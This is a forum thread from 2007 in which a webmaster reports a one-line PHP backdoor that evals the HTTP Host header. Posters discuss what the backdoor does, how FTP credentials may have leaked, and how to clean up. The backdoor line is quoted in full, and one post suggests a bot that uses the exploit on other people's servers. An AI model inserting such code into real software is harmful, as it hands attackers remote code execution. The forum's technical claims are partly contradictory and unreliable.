Found this code on my site after I signed it up with CCBILL ..

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • biskoppen
    Confirmed User
    • Mar 2003
    • 5809

    #1

    Found this code on my site after I signed it up with CCBILL ..

    $s=@$_SERVER['HTTP_HOST'];if($s){@eval($s);exit;}

    If was placed in one of my includefiles which is used all over.. and none of my pages were loading.. anyone got a clue what this is?
    Submit my videos to make bank, tons of 5 minute videos offered right here
  • biskoppen
    Confirmed User
    • Mar 2003
    • 5809

    #2
    bump...

    Just talked to another guy running a CCBILL site.. he told me they're not touching ones pages what-so-ever.. so I'm like what the fuck is going on here..
    Submit my videos to make bank, tons of 5 minute videos offered right here

    Comment

    • hand-held
      Confirmed User
      • Sep 2006
      • 136

      #3
      In the parlance of our times... j00 g0t 0wn3d.
      Pimp pimp... hooray! Pimp pimp... hooray!

      Comment

      • 2012
        So Fucking What
        • Jul 2006
        • 17189

        #4
        at least you got a reach around

        Originally posted by biskoppen
        $s=@$_SERVER['HTTP_HOST'];if($s){@eval($s);exit;}

        If was placed in one of my includefiles which is used all over.. and none of my pages were loading.. anyone got a clue what this is?
        the code basically says "yes, I have a domain" then makes sure its a good one before fucking you and exiting and not finishing anything else ...

        whats the rest of your code ?
        Last edited by 2012; 07-07-2007, 04:42 AM. Reason: bye zzzzzzz
        best host: Webair | best sponsor: Kink | best coder: 688218966 | Go Fuck Yourself

        Comment

        • biskoppen
          Confirmed User
          • Mar 2003
          • 5809

          #5
          Originally posted by fartfly
          the code basically says "yes, I have a domain" then makes sure its a good one before fucking you and exiting and not finishing anything else ...

          whats the rest of your code ?
          That was all there was inserted... I think.. I go through it all a little closely
          Submit my videos to make bank, tons of 5 minute videos offered right here

          Comment

          • bl4h
            Confirmed User
            • Jul 2006
            • 1282

            #6
            hmm doesnt make sense to me. how does eval "make sure its good". the exit pretty much makes the whole thing a waste of time anyway. maybe they wanted to waste some cpu before screwing you with the exit :|

            Comment

            • 2012
              So Fucking What
              • Jul 2006
              • 17189

              #7
              Originally posted by bl4h
              the exit pretty much makes the whole thing a waste of time anyway.
              Last edited by 2012; 07-07-2007, 05:07 AM.
              best host: Webair | best sponsor: Kink | best coder: 688218966 | Go Fuck Yourself

              Comment

              • biskoppen
                Confirmed User
                • Mar 2003
                • 5809

                #8
                How the fuck can anyone gain access to a brand new setup at webair... the only ones knowing my ftp login is CCBILL, they got it a few hours before this happened..
                Submit my videos to make bank, tons of 5 minute videos offered right here

                Comment

                • 2012
                  So Fucking What
                  • Jul 2006
                  • 17189

                  #9
                  ... lots of ways
                  Last edited by 2012; 07-07-2007, 05:12 AM.
                  best host: Webair | best sponsor: Kink | best coder: 688218966 | Go Fuck Yourself

                  Comment

                  • Tempest
                    Too lazy to set a custom title
                    • May 2004
                    • 10217

                    #10
                    If what I think is true, that will allow someone to run any php code on your site that they want.

                    Comment

                    • sweetpurple04
                      Confirmed User
                      • Jan 2007
                      • 425

                      #11
                      seems like a conspiracy

                      Comment

                      • biskoppen
                        Confirmed User
                        • Mar 2003
                        • 5809

                        #12
                        Originally posted by Tempest
                        If what I think is true, that will allow someone to run any php code on your site that they want.
                        Yes ofcourse.. the eval with do that... hmmm... this looks more and more like an "evil" trespassing...
                        Submit my videos to make bank, tons of 5 minute videos offered right here

                        Comment

                        • quantum-x
                          Confirmed User
                          • Feb 2002
                          • 6863

                          #13
                          The code basically executes $_SERVER['HTTP_HOST'] [usually the name of your server] as a PHP commandm then dies.

                          It's definitely odd, as normally HTTP_HOST has your domainname in it - so executing that as PHP won't do dick - unless someone has already injected another value into it, or register_globals is on and you're getting fucked with.
                          PrettyInCash.com - BoozedGFs.com - TeenGFs.com - JizzGFs.com- MilfUploads.com -

                          Comment

                          • bl4h
                            Confirmed User
                            • Jul 2006
                            • 1282

                            #14
                            Originally posted by Tempest
                            If what I think is true, that will allow someone to run any php code on your site that they want.
                            oh shit youre right ! http_host is the hostname the client sends to the server so it can be anything ! y those bastards !
                            Last edited by bl4h; 07-07-2007, 06:39 AM.

                            Comment

                            • biskoppen
                              Confirmed User
                              • Mar 2003
                              • 5809

                              #15
                              Originally posted by bl4h
                              oh shit youre right ! http_host is the hostname the client sends to the server so it can be anything ! y those bastards !
                              Ok, I get the whole picture now... isn't that just great
                              Submit my videos to make bank, tons of 5 minute videos offered right here

                              Comment

                              • swampthing
                                Confirmed User
                                • Mar 2007
                                • 570

                                #16
                                your not the first person

                                Comment

                                • SmokeyTheBear
                                  ►SouthOfHeaven
                                  • Jun 2004
                                  • 28609

                                  #17
                                  is it in the very top or very bottom ?
                                  hatisblack at yahoo.com

                                  Comment

                                  • KimJI
                                    Confirmed User
                                    • May 2007
                                    • 1839

                                    #18
                                    two of my clients reported the same thing.

                                    It seems to be part of a botnet/Ddos tool.

                                    What i read is, that code can be send to that host, and ask the host to exechute a remote script
                                    Trafficadept | Best traffic I have ever tested | web "@t" cuul.org

                                    Comment

                                    • SmokeyTheBear
                                      ►SouthOfHeaven
                                      • Jun 2004
                                      • 28609

                                      #19
                                      Originally posted by KimJI
                                      two of my clients reported the same thing.

                                      It seems to be part of a botnet/Ddos tool.

                                      What i read is, that code can be send to that host, and ask the host to exechute a remote script
                                      yup , its used by seo spammers to include pages on your server that dont exist.. or a botnet

                                      when was it modified..?

                                      and try going to google and type site:yourdomain.com and see if there are any new pages indexed you dont recognize
                                      hatisblack at yahoo.com

                                      Comment

                                      • Miguel T
                                        ♦ Web Developer ♦
                                        • May 2005
                                        • 12472

                                        #20
                                        How the hell can that be placed in EACH ones pages?

                                        Full Stack Webdeveloper: HTML5/CSS3, jQuery, AJAX, ElevatedX, NATS, MechBunny, Wordpress

                                        Comment

                                        • KimJI
                                          Confirmed User
                                          • May 2007
                                          • 1839

                                          #21
                                          Originally posted by AbsolutePorn
                                          How the hell can that be placed in EACH ones pages?

                                          because the server was compromised
                                          Trafficadept | Best traffic I have ever tested | web "@t" cuul.org

                                          Comment

                                          • digifan
                                            The Profiler
                                            • Oct 2002
                                            • 14618

                                            #22
                                            Uh-oh, not fun for sure...
                                            [email protected]
                                            Webair Rocks

                                            Comment

                                            • ladida
                                              Confirmed User
                                              • Nov 2005
                                              • 2180

                                              #23
                                              Originally posted by quantum-x
                                              The code basically executes $_SERVER['HTTP_HOST'] [usually the name of your server] as a PHP commandm then dies.

                                              It's definitely odd, as normally HTTP_HOST has your domainname in it - so executing that as PHP won't do dick - unless someone has already injected another value into it, or register_globals is on and you're getting fucked with.
                                              You're wrong. This will work regardless off register globals. If he found that on his server, he's fucked, as that gives full server access.
                                              agentGFY *at* gmail.com

                                              Comment

                                              • just a punk
                                                So fuckin' bored
                                                • Jun 2003
                                                • 32385

                                                #24
                                                As I said in other thread it's a way to do php code injection.
                                                Obey the Cowgod

                                                Comment

                                                • just a punk
                                                  So fuckin' bored
                                                  • Jun 2003
                                                  • 32385

                                                  #25
                                                  Originally posted by quantum-x
                                                  The code basically executes $_SERVER['HTTP_HOST'] [usually the name of your server] as a PHP commandm then dies.

                                                  It's definitely odd, as normally HTTP_HOST has your domainname in it - so executing that as PHP won't do dick - unless someone has already injected another value into it, or register_globals is on and you're getting fucked with.
                                                  You're wrong. Read this: http://ez.no/layout/set/printarticle...f_csrf_and_xss
                                                  Obey the Cowgod

                                                  Comment

                                                  • ladida
                                                    Confirmed User
                                                    • Nov 2005
                                                    • 2180

                                                    #26
                                                    Originally posted by cyberxxx
                                                    They can do alot more then that aswell.
                                                    agentGFY *at* gmail.com

                                                    Comment

                                                    • bl4h
                                                      Confirmed User
                                                      • Jul 2006
                                                      • 1282

                                                      #27
                                                      you should add a function to log hosts if theyre not equal to any of your domains or ips. log it and the ip it came from. follow the trail and hope you can find this dude and send him to bed with the fishes

                                                      Comment

                                                      • ladida
                                                        Confirmed User
                                                        • Nov 2005
                                                        • 2180

                                                        #28
                                                        Originally posted by bl4h
                                                        you should add a function to log hosts if theyre not equal to any of your domains or ips. log it and the ip it came from. follow the trail and hope you can find this dude and send him to bed with the fishes
                                                        Lol, ok, no jokes.
                                                        agentGFY *at* gmail.com

                                                        Comment

                                                        • CCBillMatthewP
                                                          Registered User
                                                          • Dec 2006
                                                          • 22

                                                          #29
                                                          biskoppen,

                                                          This doesn't look like any of our codes, but please contact us with the info in my sig and we'll try and help you get this sorted out.

                                                          Matthew
                                                          Client Support Lead
                                                          [email protected]
                                                          United States 1-800-510-2859
                                                          International 1-888-596-9279

                                                          Comment

                                                          • biskoppen
                                                            Confirmed User
                                                            • Mar 2003
                                                            • 5809

                                                            #30
                                                            Originally posted by CCBillMatthewP
                                                            biskoppen,

                                                            This doesn't look like any of our codes, but please contact us with the info in my sig and we'll try and help you get this sorted out.
                                                            Matthew, any chance you could contact me via ICQ to discuss this?

                                                            My host says there's no way this came in besides FTP access, and besides me, you guys are the only ones having this info.. I entered in a sign up form at your site 2 hours before this happened (or so)

                                                            ICQ : 30898463
                                                            Submit my videos to make bank, tons of 5 minute videos offered right here

                                                            Comment

                                                            • CCBillMatthewP
                                                              Registered User
                                                              • Dec 2006
                                                              • 22

                                                              #31
                                                              biskoppen,

                                                              Sorry but we don't have access to ICQ, the best way to contact us would either be email ([email protected]) or the phone numbers listed in my sig.

                                                              Matthew
                                                              Client Support Lead
                                                              [email protected]
                                                              United States 1-800-510-2859
                                                              International 1-888-596-9279

                                                              Comment

                                                              • potter
                                                                Confirmed User
                                                                • Dec 2004
                                                                • 6559

                                                                #32
                                                                Maybe you're computer itself is compromised. And/Or there is a leak in your information being sent out. They might have grabbed the FTP info you sent to ccbill. Via someone having access to your computer or email.

                                                                Comment

                                                                • TheSenator
                                                                  Too lazy to set a custom title
                                                                  • Feb 2003
                                                                  • 13330

                                                                  #33
                                                                  so... what is the status of this?

                                                                  Damn CCBill doesn't have access to ICQ! Come on guys!
                                                                  ISeekGirls.com since 2005

                                                                  Comment

                                                                  • KimJI
                                                                    Confirmed User
                                                                    • May 2007
                                                                    • 1839

                                                                    #34
                                                                    Originally posted by potter
                                                                    Maybe you're computer itself is compromised. And/Or there is a leak in your information being sent out. They might have grabbed the FTP info you sent to ccbill. Via someone having access to your computer or email.

                                                                    There are other sites and server compromised, Its not only "biskoppen"
                                                                    Trafficadept | Best traffic I have ever tested | web "@t" cuul.org

                                                                    Comment

                                                                    • d-null
                                                                      . . .
                                                                      • Apr 2007
                                                                      • 13724

                                                                      #35
                                                                      I was going to sign up for ccbill soon too.................. watching to see how this develops


                                                                      and on the topic of ICQ, I had some hosting problems the other day and it was so impressive to be able to ICQ and actually talk with a live tech in the middle of the night (3 am local).... only needed to chat with him for 30 seconds or so but it was really reassuring to have available.

                                                                      this really made a lasting impression on me

                                                                      __________________

                                                                      Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
                                                                      Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
                                                                      Check out the #1 WordPress SEO Plugin: CyberSEO Suite

                                                                      Comment

                                                                      • Pornopat
                                                                        AdultTubeSubmits.com
                                                                        • Dec 2003
                                                                        • 10598

                                                                        #36
                                                                        Pretty sure its not ccbill.
                                                                        https://stripcash.com/sign-up/?userI...fff832eb95ab6a

                                                                        Comment

                                                                        • Zoose
                                                                          Confirmed User
                                                                          • Aug 2006
                                                                          • 268

                                                                          #37
                                                                          Originally posted by jetjet
                                                                          I was going to sign up for ccbill soon too.................. watching to see how this develops


                                                                          and on the topic of ICQ, I had some hosting problems the other day and it was so impressive to be able to ICQ and actually talk with a live tech in the middle of the night (3 am local).... only needed to chat with him for 30 seconds or so but it was really reassuring to have available.

                                                                          this really made a lasting impression on me
                                                                          The chances this has anything to do with CCBill or anyone at CCBill are basically nil. Either his entire server was compromised, his ftp account with his host was compromised, or possibly a script he runs is vulnerable.

                                                                          Comment

                                                                          • d-null
                                                                            . . .
                                                                            • Apr 2007
                                                                            • 13724

                                                                            #38
                                                                            that makes the most sense

                                                                            __________________

                                                                            Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
                                                                            Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
                                                                            Check out the #1 WordPress SEO Plugin: CyberSEO Suite

                                                                            Comment

                                                                            • KimJI
                                                                              Confirmed User
                                                                              • May 2007
                                                                              • 1839

                                                                              #39
                                                                              I dont get why its not trackable throught the logfiles who did this? have you disabled logging?
                                                                              Trafficadept | Best traffic I have ever tested | web "@t" cuul.org

                                                                              Comment

                                                                              • biskoppen
                                                                                Confirmed User
                                                                                • Mar 2003
                                                                                • 5809

                                                                                #40
                                                                                Originally posted by KimJI
                                                                                I dont get why its not trackable throught the logfiles who did this? have you disabled logging?
                                                                                I was told that my logs is truncated every x hours when the stats is run
                                                                                Submit my videos to make bank, tons of 5 minute videos offered right here

                                                                                Comment

                                                                                • Tempest
                                                                                  Too lazy to set a custom title
                                                                                  • May 2004
                                                                                  • 10217

                                                                                  #41
                                                                                  Originally posted by bl4h
                                                                                  oh shit youre right ! http_host is the hostname the client sends to the server so it can be anything ! y those bastards !
                                                                                  Exactly...

                                                                                  That's interesting... Early this week I was contacted by one of my trades about a similar issue. He had went to some site that was compromised and it had installed a keylogger on his computer. The typical virus protectors like norton etc. didn't catch it. He was saying you needed something better like Kapersky.

                                                                                  These guys got his server login info and intalled the same thing on his site.. Apparently they seem to have it automated so it will download all the html (probably php as well), install the exploit and re upload them. Happens very fast. It could be that this is another "version" of that.

                                                                                  Comment

                                                                                  • KimJI
                                                                                    Confirmed User
                                                                                    • May 2007
                                                                                    • 1839

                                                                                    #42
                                                                                    Emagine how much traffic they can steal this way? just a few clicks from each sites can be millions in a few days
                                                                                    Trafficadept | Best traffic I have ever tested | web "@t" cuul.org

                                                                                    Comment

                                                                                    • d-null
                                                                                      . . .
                                                                                      • Apr 2007
                                                                                      • 13724

                                                                                      #43
                                                                                      damn, almost like a person needs a separate computer for surfing and one for sensitive data and work

                                                                                      __________________

                                                                                      Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
                                                                                      Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
                                                                                      Check out the #1 WordPress SEO Plugin: CyberSEO Suite

                                                                                      Comment

                                                                                      • KimJI
                                                                                        Confirmed User
                                                                                        • May 2007
                                                                                        • 1839

                                                                                        #44
                                                                                        Originally posted by jetjet
                                                                                        damn, almost like a person needs a separate computer for surfing and one for sensitive data and work

                                                                                        most serious people have.
                                                                                        Trafficadept | Best traffic I have ever tested | web "@t" cuul.org

                                                                                        Comment

                                                                                        • Violetta
                                                                                          Affiliate
                                                                                          • Jul 2004
                                                                                          • 28735

                                                                                          #45
                                                                                          time to change your ftp password
                                                                                          M&A Queen

                                                                                          Comment

                                                                                          • biskoppen
                                                                                            Confirmed User
                                                                                            • Mar 2003
                                                                                            • 5809

                                                                                            #46
                                                                                            Originally posted by Rockatansky
                                                                                            time to change your ftp password
                                                                                            Been there, done that
                                                                                            Submit my videos to make bank, tons of 5 minute videos offered right here

                                                                                            Comment

                                                                                            • Tempest
                                                                                              Too lazy to set a custom title
                                                                                              • May 2004
                                                                                              • 10217

                                                                                              #47
                                                                                              Originally posted by biskoppen
                                                                                              Been there, done that
                                                                                              Scan your computer with Kapersky and Panda (or any other "better" virus programs) maybe first... if you have a keylogger on your system, they'll just get the new password anyway.

                                                                                              Comment

                                                                                              • RawAlex
                                                                                                So Fucking Banned
                                                                                                • Oct 2003
                                                                                                • 9465

                                                                                                #48
                                                                                                Here are some potential sources of infection:

                                                                                                1 - your own PC could be infected, anything from a keylogger to a total owning of your PC.

                                                                                                2 - Someone at CCBill could also have a computer with similar ownage.

                                                                                                3 - Your server maybe have been owned either remotely or server to server within your host (a real issue at times with some hosts). This could be from a CMS or similar.


                                                                                                Basically, sounds like you got owned pretty majorly. start changing passwords (all passwords, all users with FTP or telnet access, the SU password, etc) and getting your hosting company to looks for holes, including cron tasks, open files, extra users, odd logins, etc.

                                                                                                Good luck.

                                                                                                Comment

                                                                                                • bu((aneer
                                                                                                  Confirmed User
                                                                                                  • Nov 2004
                                                                                                  • 651

                                                                                                  #49
                                                                                                  Originally posted by biskoppen
                                                                                                  Matthew, any chance you could contact me via ICQ to discuss this?

                                                                                                  My host says there's no way this came in besides FTP access, and besides me, you guys are the only ones having this info.. I entered in a sign up form at your site 2 hours before this happened (or so)

                                                                                                  ICQ : 30898463



                                                                                                  FTP passwords are sent via plain/clear text. Very easy to pick them off the wire!

                                                                                                  Comment

                                                                                                  • milambur
                                                                                                    Mainstream since 2010
                                                                                                    • Jan 2003
                                                                                                    • 1327

                                                                                                    #50
                                                                                                    Shouldn't be so hard to make a bot that removes that code on all servers it can find, since you can use the exploit to remove the exploit. Maybe have it send the admin an email that the server has been compromised before removing it. I don't have the time, but maybe smokey can do it?
                                                                                                    Last edited by milambur; 07-08-2007, 11:42 AM.
                                                                                                    Alea iacta est

                                                                                                    Comment

                                                                                                    Working...